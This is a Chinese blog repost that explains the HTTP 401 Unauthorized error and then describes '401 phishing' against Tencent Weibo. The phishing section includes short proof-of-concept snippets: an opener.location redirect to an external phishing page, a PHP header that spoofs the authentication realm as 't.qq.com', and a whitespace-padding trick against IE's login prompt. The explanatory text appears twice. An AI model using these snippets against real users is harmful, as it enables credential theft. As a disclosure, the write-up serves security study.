HTTP 401 错误 - 未授权: (Unauthorized)
2015-08-29 23:04
661 查看
/article/10245434.html
介绍
您的Web服务器认为,客户端(例如您的浏览器或我们的 CheckUpDown 机器人)发送的 HTTP 数据流是正确的,但进入网址 (URL) 资源 , 需要用户身份验证 , 而相关信息 1 )尚未被提供, 或 2 )已提供但没有通过授权测试。这就是通常所知的“ HTTP 基本验证 ”。 需客户端提供的验证请求在 HTTP 协议中被定义为 WWW – 验证标头字段 (WWW-Authenticate header field) 。
一般来说该错误消息表明您首先需要登录(输入有效的用户名和密码)。 如果你刚刚输入这些信息,立刻就看到一个 401 错误,就意味着,无论出于何种原因您的用户名和密码其中之一或两者都无效(输入有误,用户名暂时停用,等) 。
[b]HTTP 循环中的 401错误 [/b]
任何客户端 ( 例如您的浏览器或我们的 CheckUpDown 机器人 ) ,都需要通过以下循环:
从您站点的 IP 名称 ( 即您站点的网址-URL, 不带起始的 ‘http://') 获得一个 IP 地址。这个对应关系 ( 即由 IP 名称向 IP 地址转换的对应关系 ) 由域名服务器 (DNSs) 提供。
打开一个 IP 套接字 (socket) 连接到该 IP 地址。
通过该套接字写 HTTP 数据流。
从您的Web服务器接受响应的 HTTP 数据流。该数据流包括状态编码, 其值取决于 HTTP 协议 。 解析该数据流得到 状态编码和其他有用信息。
该错误在以上所述的最后一步生成,即当客户端收到 HTTP 状态编码并识别其为 ‘401‘ 时
解决 401 错误 – 一般方法
每个Web服务器都有自己的方式管理用户验证。通常由该网站的网络安全员(例如,系统管理员)决定哪些用户被允许访问该网址。 该人员使用 Web 服务器软件来建立这些用户的用户名及其密码。 因此, 如果您需要访问某个网址(或您忘记了自己的用户名和密码), 只有该网站的网络安全员可以帮助您。任何安全问题需直接提交给他们。
如果你认为该网站上的网页 * 应该 * 是对任何互联网用户开放的, 那么 401 信息表明一个更深层问题。 首先,您可以通过一个浏览器检查您的网址。 该浏览器应该运行在一台您以前从未使用过, 也不包含任何有关您的信息的计算机上, 同时, 您还应避免使用您以前用过的身份验证(密码等)。 理想情况是, 这一切应该通过一个完全不同于任何您用过的互联网连接(例如由不同的互联网服务供应商- ISP 提供的拨号连接)。 简而言之,您要摹拟一个完全陌生的人通过网上冲浪访问您的网页的情况。
如果这种通过浏览器的检查表明没有授权问题,则可能是您的 Web 服务器 ( 或周边系统 ) 被设置为不允许某种 HTTP 传输模式。 换句话说就是, 来自一个知名浏览器的 HTTP 通讯是允许的, 但来自其他系统的自动通讯则被拒绝, 并生成 401 错误代码。这是一种异常情况, 但是也许表明您的 Web 服务器周围 采取了非常具有防御性的安全策略。
解决 401 错误 – CheckUpDown
当您设定您的 CheckUpDown 帐户时,您可以有选择性地提供两项信息 2. 网站用户名, 和 3. 网站密码。 只有当您的站点使用 HTTP 基本验证时您才应该提供这些信息。如果您提供这些信息, CheckUpDown 机器人则总是使用它们。 如果您的网站实际上并没有使用基本身份验证,则会导致 401 错误。相反,如果您不提供这些信息,而您的站点却使用此身份验证,您也会得到 401 错误。
然而,如果您的网址是向所有访问者开放的, 401 信息则不应该出现。因为它表明一个基本的授权问题, 我们只能通过与负责您的网站及周边系统安全的相关人员协商来解决该问题。 不幸的是, 这些讨论可能需要一些时间, 但往往会友好地解决。 您可以通过向您的系统安全人员推荐我们的服务来协助解决问题。 如果您持续发现 401 错误, 就请与我们联系(最好通过电子邮件), 以便我们就解决这些问题的最佳途径达成一致。
前段时间401钓鱼很火,大部分呢是通过向网页插入一个401地址的图片进行钓鱼.但这种方法对于chrome和不支持外链图片的站来说,例如:微博.
反向401钓鱼:
反向401的意思是通过opener.location反向控制调用页地址到401钓鱼页面.
![](https://oscdn.geek-share.com/Uploads/Images/Content/202004/19/0d7b4c8bfd8c641bc19e51263a0abf06.jpg)
poc:
401.php:
缺点:IE不支持.
腾讯微博demo
IE空白符缺陷:
由于IE的401询问框设计错误,导致我们可以在服务器响应的认证提示信息后面追加大量的空白符将后面的默认内容挤掉,达到欺骗的目的.
POC:
IE8:
![](https://oscdn.geek-share.com/Uploads/Images/Content/202004/19/ce80e8a4105e0cfde21fe50139a34966.jpg)
IE9:
![](https://oscdn.geek-share.com/Uploads/Images/Content/202004/19/563b6192b2b1c608c64a4fae16ba603a.jpg)
http://pkav.net/2013/01/314.html
介绍
您的Web服务器认为,客户端(例如您的浏览器或我们的 CheckUpDown 机器人)发送的 HTTP 数据流是正确的,但进入网址 (URL) 资源 , 需要用户身份验证 , 而相关信息 1 )尚未被提供, 或 2 )已提供但没有通过授权测试。这就是通常所知的“ HTTP 基本验证 ”。 需客户端提供的验证请求在 HTTP 协议中被定义为 WWW – 验证标头字段 (WWW-Authenticate header field) 。
一般来说该错误消息表明您首先需要登录(输入有效的用户名和密码)。 如果你刚刚输入这些信息,立刻就看到一个 401 错误,就意味着,无论出于何种原因您的用户名和密码其中之一或两者都无效(输入有误,用户名暂时停用,等) 。
[b]HTTP 循环中的 401错误 [/b]
任何客户端 ( 例如您的浏览器或我们的 CheckUpDown 机器人 ) ,都需要通过以下循环:
从您站点的 IP 名称 ( 即您站点的网址-URL, 不带起始的 ‘http://') 获得一个 IP 地址。这个对应关系 ( 即由 IP 名称向 IP 地址转换的对应关系 ) 由域名服务器 (DNSs) 提供。
打开一个 IP 套接字 (socket) 连接到该 IP 地址。
通过该套接字写 HTTP 数据流。
从您的Web服务器接受响应的 HTTP 数据流。该数据流包括状态编码, 其值取决于 HTTP 协议 。 解析该数据流得到 状态编码和其他有用信息。
该错误在以上所述的最后一步生成,即当客户端收到 HTTP 状态编码并识别其为 ‘401‘ 时
解决 401 错误 – 一般方法
每个Web服务器都有自己的方式管理用户验证。通常由该网站的网络安全员(例如,系统管理员)决定哪些用户被允许访问该网址。 该人员使用 Web 服务器软件来建立这些用户的用户名及其密码。 因此, 如果您需要访问某个网址(或您忘记了自己的用户名和密码), 只有该网站的网络安全员可以帮助您。任何安全问题需直接提交给他们。
如果你认为该网站上的网页 * 应该 * 是对任何互联网用户开放的, 那么 401 信息表明一个更深层问题。 首先,您可以通过一个浏览器检查您的网址。 该浏览器应该运行在一台您以前从未使用过, 也不包含任何有关您的信息的计算机上, 同时, 您还应避免使用您以前用过的身份验证(密码等)。 理想情况是, 这一切应该通过一个完全不同于任何您用过的互联网连接(例如由不同的互联网服务供应商- ISP 提供的拨号连接)。 简而言之,您要摹拟一个完全陌生的人通过网上冲浪访问您的网页的情况。
如果这种通过浏览器的检查表明没有授权问题,则可能是您的 Web 服务器 ( 或周边系统 ) 被设置为不允许某种 HTTP 传输模式。 换句话说就是, 来自一个知名浏览器的 HTTP 通讯是允许的, 但来自其他系统的自动通讯则被拒绝, 并生成 401 错误代码。这是一种异常情况, 但是也许表明您的 Web 服务器周围 采取了非常具有防御性的安全策略。
解决 401 错误 – CheckUpDown
当您设定您的 CheckUpDown 帐户时,您可以有选择性地提供两项信息 2. 网站用户名, 和 3. 网站密码。 只有当您的站点使用 HTTP 基本验证时您才应该提供这些信息。如果您提供这些信息, CheckUpDown 机器人则总是使用它们。 如果您的网站实际上并没有使用基本身份验证,则会导致 401 错误。相反,如果您不提供这些信息,而您的站点却使用此身份验证,您也会得到 401 错误。
然而,如果您的网址是向所有访问者开放的, 401 信息则不应该出现。因为它表明一个基本的授权问题, 我们只能通过与负责您的网站及周边系统安全的相关人员协商来解决该问题。 不幸的是, 这些讨论可能需要一些时间, 但往往会友好地解决。 您可以通过向您的系统安全人员推荐我们的服务来协助解决问题。 如果您持续发现 401 错误, 就请与我们联系(最好通过电子邮件), 以便我们就解决这些问题的最佳途径达成一致。
________________________________________________________________________________________
401钓鱼新玩法
http://zone.wooyun.org/content/2176前段时间401钓鱼很火,大部分呢是通过向网页插入一个401地址的图片进行钓鱼.但这种方法对于chrome和不支持外链图片的站来说,例如:微博.
反向401钓鱼:
反向401的意思是通过opener.location反向控制调用页地址到401钓鱼页面.
![](https://oscdn.geek-share.com/Uploads/Images/Content/202004/19/0d7b4c8bfd8c641bc19e51263a0abf06.jpg)
poc:
opener.location='http://mmme.me/401.php' close();
401.php:
<?php header('WWW-Authenticate: Basic realm="t.qq.com"'); ?> <script> history.back();//返回到腾讯微博 </script>
缺点:IE不支持.
腾讯微博demo
IE空白符缺陷:
由于IE的401询问框设计错误,导致我们可以在服务器响应的认证提示信息后面追加大量的空白符将后面的默认内容挤掉,达到欺骗的目的.
POC:
<?php header('WWW-Authenticate: Basic realm="t.qq.com "'); ?>
IE8:
![](https://oscdn.geek-share.com/Uploads/Images/Content/202004/19/ce80e8a4105e0cfde21fe50139a34966.jpg)
IE9:
![](https://oscdn.geek-share.com/Uploads/Images/Content/202004/19/563b6192b2b1c608c64a4fae16ba603a.jpg)
http://pkav.net/2013/01/314.html
相关文章推荐
- 真刀真枪压测:基于TCPCopy的仿真压测方案 - 旁观者 - 博客园
- 真刀真枪压测:基于TCPCopy的仿真压测方案 - 旁观者 - 博客园
- Android平台HTTP断点续传的实现
- hdoj 2435 There is a war 【求原图最小割已经分成的两个点集 + 枚举两点集里面的点建新边 求残量网络的最大最小割】
- 《JAVA网络编程》阅读笔记(三)
- HTTP缓存相关头
- HTTP简单的同步请求
- 网络流习题
- muduo网络库源码学习————线程特定数据
- TCP的流量控制和拥塞控制
- HTTP 协议之压缩 http://kb.cnblogs.com/page/163781/
- 《JAVA网络编程》阅读笔记(二)
- muduo网络库源码学习————线程安全
- http协议中content-length 以及chunked编码分析
- Http编程(二)使用Apache 的API实现
- http://www.zhihu.com/question/22821783/answer/22759545
- http编程(一)使用javaAPI实现
- 关于运算符重载(总结) --http://www.cnblogs.com/xyl-share-happy/archive/2012/12/06/2804401.html
- HttpURLConnection_Get和Post请求文件上传
- HTTP协议详解